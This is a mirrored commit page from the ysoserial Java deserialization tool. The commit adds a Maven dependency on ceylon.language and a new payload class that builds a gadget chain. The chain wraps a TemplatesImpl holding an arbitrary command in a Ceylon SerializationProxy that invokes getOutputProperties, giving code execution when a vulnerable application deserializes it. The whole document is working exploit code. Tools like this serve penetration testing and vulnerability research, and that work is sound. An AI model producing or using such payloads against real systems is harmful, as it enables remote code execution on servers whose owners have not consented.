mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
ceylon gadget (#173)
This commit is contained in:
@@ -366,6 +366,11 @@
|
||||
<artifactId>click-nodeps</artifactId>
|
||||
<version>2.3.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.ceylon-lang</groupId>
|
||||
<artifactId>ceylon.language</artifactId>
|
||||
<version>1.3.3</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import com.redhat.ceylon.compiler.java.language.SerializationProxy;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
|
||||
@Authors({ Authors.KULLRICH })
|
||||
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
|
||||
public class Ceylon implements ObjectPayload<Object>
|
||||
{
|
||||
|
||||
//
|
||||
// Probably the simplest deser gadget ever ;-)
|
||||
//
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user